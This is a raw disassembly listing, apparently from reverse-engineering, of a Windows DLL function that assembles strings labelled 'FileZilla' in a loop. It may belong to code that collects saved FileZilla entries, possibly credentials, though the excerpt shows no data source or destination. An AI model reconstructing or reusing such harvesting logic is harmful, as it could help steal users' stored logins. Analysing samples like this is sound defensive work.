mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 8], 0x10
mov r8, qword [rbp]
cmovae rdx, qword [rbp - 0x10]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xf0]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800be770
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xb0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp - 0x18], 0x10
mov r8, qword [rbp - 0x20]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800be770
mov r8d, 2
lea rdx, [0x180113c70]
lea rcx, [rbp + 0x90]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800be770
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x130]
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x170], xmm1
movups xmmword [rbp + 0x140], xmm1
cmp r14, rax
je 0x1800ae21c
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800ae211
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800ae1fe
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800ae93b
mov rcx, r8
call fcn.1800cb8d0
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
jmp 0x1800ae25d
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1800ae25d
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae258
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800ae29e
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae299
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
cmp rdx, 0x10
jb 0x1800ae2f8
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae2f3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
cmp rdx, 0x10
jb 0x1800ae352
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae34d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
cmp rdx, 0x10
jb 0x1800ae3ac
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae3a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x128]
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
cmp rdx, 0x10
jb 0x1800ae406
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae401
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
cmp rdx, 0x10
jb 0x1800ae45a
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae455
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800ae4a5
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae4a0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp - 0x78]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
cmp rdx, 0x10
jb 0x1800ae4f1
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae4ec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1800ae53f
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae53a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x68]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0x10
jb 0x1800ae58d
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae588
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae93b
call fcn.1800cb8d0
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800ae59d
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x1800ae5ad
cmp byte [rcx], 0x31
jne 0x1800ae5ad
mov al, 1
jmp 0x1800ae5af
xor al, al
test al, al
je 0x1800ae7bc
mov rdx, qword [r14 + 0x10]
lea rcx, [rsp + 0x30]
add rdx, 3
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
call fcn.1800c17c0
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x1800ae5e9
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800be770
mov r8d, 3
lea rdx, [0x18011428c]
lea rcx, [rsp + 0x30]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c68]
lea rcx, [rsp + 0x30]
call fcn.1800be770
mov r8d, 9
lea rdx, str.FileZilla
lea rcx, [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800be770
lea r8, [0x180113c68]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x150]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf540
mov rdx, rax
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0x170]
call fcn.1800bf420
mov rdx, rax
lea r8, [0x180114278]
lea rcx, [rbp + 0x50]
call fcn.1800bf540
mov rdx, rax
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0x90]
call fcn.1800bf420
mov rdx, rax
lea r8, [0x180113c68]
lea rcx, [rbp + 0xb0]
call fcn.1800bf540
mov rdx, rax
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0xd0]
call fcn.1800bf420
mov rdx, rax
lea r8, [0x180113c68]
lea rcx, [rbp + 0xf0]
call fcn.1800bf540
mov rdx, rax
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x110]
call fcn.1800bf420
mov rdx, rax
lea r8, [0x180113c64]
lea rcx, [rbp - 0x50]
call fcn.1800bf540
mov rdx, rax
mov rcx, r14
call fcn.1800be870
lea rcx, [rbp - 0x50]
call fcn.1800be810
lea rcx, [rbp + 0x110]
call fcn.1800be810
lea rcx, [rbp + 0xf0]
call fcn.1800be810
lea rcx, [rbp + 0xd0]
call fcn.1800be810
lea rcx, [rbp + 0xb0]
call fcn.1800be810
lea rcx, [rbp + 0x90]
call fcn.1800be810
lea rcx, [rbp + 0x50]
call fcn.1800be810
lea rcx, [rbp + 0x170]
call fcn.1800be810
lea rcx, [rbp + 0x150]
call fcn.1800be810
lea rcx, [rsp + 0x70]
call fcn.1800be810
lea rcx, [rbp - 0x70]
call fcn.1800be810
lea rcx, [rsp + 0x30]
call fcn.1800be810
lea rdx, [0x1801090b0]
lea rcx, [rbp + 0x10]
call fcn.1800be7f0
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x10]
call fcn.1800be7f0
lea rdx, [0x1801090b0]
lea rcx, [rbp + 0x30]
call fcn.1800be7f0
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x30]
call fcn.1800be7f0
inc r13d
lea rcx, [rsp + 0x50]
call fcn.1800be810
lea rbx, [0x18012a920]
mov rcx, r12
call fcn.1800da8d0
test eax, eax
je 0x1800ad010
mov rcx, r12
call fcn.1800d7878
lea rdx, [0x180108ea8]
mov rcx, r15
call fcn.1800bf3d0
test al, al
je 0x1800ae8d5
mov edx, r13d
lea rcx, [rbp - 0x50]
call fcn.180089cc0
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rbp - 0x70]
call fcn.1800bf4e0
mov rdx, rax
lea r8, [0x180113c74]
lea rcx, [rsp + 0x70]
call fcn.1800bf540
mov rdx, rax
lea r8, [0x180113c70]
lea rcx, [rsp + 0x30]
call fcn.1800bf540
mov rdx, rax
lea rcx, [rbp + 0x130]
mov r8, r14
call fcn.1800bf420
mov rdx, rax
mov rcx, r14
call fcn.1800be870
lea rcx, [rbp + 0x130]
call fcn.1800be810
lea rcx, [rsp + 0x30]
call fcn.1800be810
lea rcx, [rsp + 0x70]
call fcn.1800be810
lea rcx, [rbp - 0x70]
call fcn.1800be810
lea rcx, [rbp - 0x50]
call fcn.1800be810
lea rcx, [rbp + 0x70]
call fcn.1800be810
lea rcx, [rbp + 0x30]
call fcn.1800be810
lea rcx, [rbp - 0x30]
call fcn.1800be810
lea rcx, [rbp - 0x10]
call fcn.1800be810
lea rcx, [rbp + 0x10]
call fcn.1800be810
mov rcx, r15
call fcn.1800be810
mov rsi, qword [rsp + 0x3d8]
mov rax, r14
mov rbx, qword [rsp + 0x3d0]
mov r12, qword [rsp + 0x3e0]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call fcn.1800bf180
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.180089c20
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3